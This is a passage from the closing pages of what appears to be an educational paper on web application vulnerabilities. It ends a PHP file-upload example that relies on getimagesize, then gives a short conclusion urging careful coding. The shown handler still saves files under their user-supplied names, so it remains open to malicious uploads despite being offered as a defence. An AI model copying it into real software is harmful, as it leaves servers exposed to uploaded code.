$check = getimagesize($_FILES["ufile"]["tmp_name"]);if($check!=false){

if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){

echo "You have uploaded: ".$_FILES['ufile']['name'];}

}else{

Page 39: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

39

echo "Error: Upload images";}

}?>

The above code checks the uploaded file is real image by reading the image size. If image size is found, we can declare it is an image is going to upload.

CONCLUSIONWeb application vulnerabilities are still common even though every web application developers knows about hackers/crackers are roaming around Internet and trying to encroach to the system. But the developers develops web applications carelessly and invites the hackers/crackers to

Page 40: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

40

exploit the weaknesses of web applications. The most reason of this is, most of developers are unaware about security metrics of web applications and their defenses. Most of vulnerabilities are evolves only because of careless coding of developers. So, the developers must care about security metrics, and it will lead a highly secured web application developments which secure both server and clients.

REFERENCES1. OWASP (http://owasp.org)2. _TERMINAL_CODERS_ (http://terminalcoders.blogspot.com)

Page 41: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

41